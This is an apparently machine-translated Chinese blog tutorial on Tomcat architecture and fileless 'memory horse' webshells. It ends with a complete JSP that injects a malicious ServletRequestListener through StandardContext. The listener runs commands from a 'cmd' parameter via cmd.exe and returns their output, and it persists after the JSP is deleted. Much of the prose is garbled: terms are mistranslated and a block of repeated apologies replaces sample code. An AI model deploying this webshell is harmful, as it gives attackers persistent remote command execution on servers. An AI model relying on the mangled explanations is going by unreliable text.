听家 Tomcat 记忆马 (I)

      最后更新:2021-11-06 08:44

      一. Tomcat的介绍

      Tomcat的主要作用

      Tomcat作为一个网络服务器,履行两项关键职能:

      • Http 服务器功能: 执行套接字通信( 基于 TCP/ IP) 和 HTTP 信件解释
      • 服务集装箱功能:装载和维护服务,服务处理明确请求。
      image-20211007190918695

      这两项职能涉及两个基本组成部分连接器(连接器)和容器(容器),分别负责外部通信(全HTTP服务器功能)和内部处理(完整的服务集装箱功能)。

      image-20211007191427074
      • Server
        “服务器”一词是指整个Tomcat服务器只有一个服务器服务器,其中至少包含一个服务部分,以提供某些服务。

      • Service
        A Service是服务器的内部组成部分,服务器可以拥有许多服务。它将各种连接器组件连接到集装箱上。

      • Connector

        它被称为连接器,是服务的基本组成部分之一,一个服务处可拥有若干连接器,主要与客户请求连接,收集请求,将其封装到请求和反应中,然后将其运输到集装箱进行处理,处理后再送回容器。

      • Container
        用户的处理服务器请求

      连接符

      连接有三个主要功能:

      • Socket 通讯是一种网络编程。
      • 解决后,将应用层协议包在请求对象中。
      • 转换对服务请求的请求和对服务响应的回应。

      端点、教授和适应器是上述三个组成部分。端点负责向教授发送请求字节流,教授负责向适应器提供托姆卡特定义请求对象,适应器负责向服务器容器提供标准服务请求对象。

      image-20211007193016382

      集装箱集装箱集装箱集装箱集装箱集装箱集装箱

      集装箱部件(通常称为Catalina)是Tomcat的核心。 集装箱内有四个集装箱:工程、主机、上下文和包装箱。 四个容器为婴儿组配有分层结构设计。

      image-20211007193651356

      四种容器的作用:

      • Engine
        服务器引擎代表整个系统,用于处理许多虚拟站点。一个服务机构只能有一个工程,而一个引擎可以拥有代表整个系统的多个主机数位引擎,用来处理许多虚拟站点。一个服务机构只能有一个工程,而一个引擎可以拥有多个主机。
      • Host
        您可以代表虚拟主机或网站使用各种虚拟主机地址设置Tomcat, 而虚拟主机或网站使用多种背景设置, 虚拟主机或网站使用各种虚拟主机地址设置多个背景设置Tomcat, 虚拟主机有多种背景设置。
      • Context
        为每个上下文指定一个带有单一路径的网络应用程序,而不是带有多个包件的网络应用程序。
      • Wrapper
        指定一个服务器,负责处理服务器的生命周期,包括装载、初始化、资源回收等等。

      如下图所示, a. I'm not sure you're talking about, com and b. Com 与两个主机相对应。

      image-20211007193847735

      Tomcat 结构图 :

      image-20211007192234870

      二. 听众的记录和记录管理

      请求网站的时候, 程序先执行listener监听器的内容:Listener -> Filter -> Servlet

      image-20211007200844984

      Becamploy Lissteiner是第一个装入的, 我们可以使用动态注册的恶性听力员记忆马。 听力员分类如下:

      • ServerContext、服务器启动和关闭触发
      • 会话,执行会话动作。
      • 请求,触发服务准入

      " 请求 " 物体的监听装置最适合生成记忆马,如果提供访问服务,可以启动活动。

      服务器请求听众是一个接口 。

      如果您想要在Tomcat中添加一个听众, 您必须创建两个接口 :LifecycleListener和原生EvenListener。

      实现了LifecycleListener在Tomcat的早期启动阶段,客户的要求尚未进入解决阶段,而且不适合用于记忆马时,听众通常在托姆卡特的早期启动阶段运作。

      所以来看另一个EventListener与Tomcat, 界面指定了很多继承。EventListener,应用到每个对象的监听中。

      image-20211007201719507

      重点来看ServletRequestListener接口

      image-20211007201800711

      ServletRequestListener用于监听ServletRequest当我们获得任何资源时,无论是服务、jsp或静态资源,都是由建造和摧毁物体所触发的。requestInitialized方法。

      给自己做个演示介绍ServletRequestListener与其执行流程

      Tomcat来源调试环境:https://zhuanlan. comI道歉,

      写一个继承于ServletRequestListener接口的TestListener:

      公共阶级考驗,我真抱歉,抱歉,抱歉,但很抱歉,我實在很抱歉,抱歉,我實在很抱歉。 我實在很抱歉,我實在很抱歉,我實在很抱歉。 我實在很抱歉,我實在很抱歉,我實在很抱歉,我實在很抱歉,我實在很抱歉,我實在很抱歉,我實在抱歉,我實在是對不起,但我很抱歉,我實在很抱歉,我實在很抱歉。 我實在很抱歉,我實在很抱歉,我實在很抱歉,我實在很抱歉,我實在很抱歉。 我實在很抱歉,我實在很抱歉,我實在很抱歉,我實在很抱歉。
      

      可在互联网上查阅。 配置 xml :

          <listener>
              <listener-class>test.TestListener</listener-class>
          </listener>
      

      获取任何路径: http://8080/11

      image-20211007203753325

      正如你所看到的,信息是写在控制板上的,这是Tomcat先做的requestInitialized,然后再执行了requestDestroyed

      image-20211007203825680

      反转: 创建请求对象时触发 。

      反向销毁:请求对象被销毁时触发 。

      带有标准文本

      StandardContext目标就是在那里为了谋杀他而设的

      接以上环境,直接在requestInitialized进入电路后,下断点显示整个呼叫链。

      image-20211007204506315

      Tomcat进入了呼叫链StandardHostValve它基于我们的听众概念。

      image-20211007204236921

      跟进context.fireRequestInitEvent,从该图的红相框中可以看出requestInitialized方法

      image-20211007204703280

      经过进一步调查,发现上述Lissteiner是..StandardContext#getApplicationEventListeners方法中获得的

      image-20211007204842996

      image-20211007210916415

      在StandardContext#addApplicationEventListener收听者已被添加 。

      image-20211007211020621

      "呼叫",我们想此时此刻。StandardContext#addApplicationEventListener我们创造出我们邪恶的听众的方式

      在jsp中如何获得StandardContext对象

      方式一:

      <%
          Field reqF = request.getClass().getDeclaredField("request");
          reqF.setAccessible(true);
          Request req = (Request) reqF.get(request);
          StandardContext context = (StandardContext) req.getContext();
      %>
      

      方式二:

          WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
          StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
      

      下列记忆马可在互联网上免费获得:

      test.jsp

      <%@ page import="org.apache.catalina.core.StandardContext" %>
      <%@ page import="java.lang.reflect.Field" %>
      <%@ page import="org.apache.catalina.connector.Request" %>
      <%@ page import="java.io.InputStream" %>
      <%@ page import="java.util.Scanner" %>
      <%@ page import="java.io.IOException" %>
      
      <%!
          public class MyListener implements ServletRequestListener {
              public void requestDestroyed(ServletRequestEvent sre) {
                  HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
                  if (req.getParameter("cmd") != null){
                      InputStream in = null;
                      try {
                          in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                          Scanner s = new Scanner(in).useDelimiter("\A");
                          String out = s.hasNext()?s.next():"";
                          Field requestF = req.getClass().getDeclaredField("request");
                          requestF.setAccessible(true);
                          Request request = (Request)requestF.get(req);
                          request.getResponse().getWriter().write(out);
                      }
                      catch (IOException e) {}
                      catch (NoSuchFieldException e) {}
                      catch (IllegalAccessException e) {}
                  }
              }
      
              public void requestInitialized(ServletRequestEvent sre) {}
          }
      %>
      
      <%
          Field reqF = request.getClass().getDeclaredField("request");
          reqF.setAccessible(true);
          Request req = (Request) reqF.get(request);
          StandardContext context = (StandardContext) req.getContext();
          MyListener listenerDemo = new MyListener();
          context.addApplicationEventListener(listenerDemo);
      %>
      

      内存马是通过先访问上传测试. jsp 来创建的, 即使测试. jsp 被删除, 只要服务器不被重新启动, 内存马也会持续 。

      image-20211007213837242

      image-20211007213902413

      本文由 在线网速测试 整理编辑,转载请注明出处。

          热门文章

          文章分类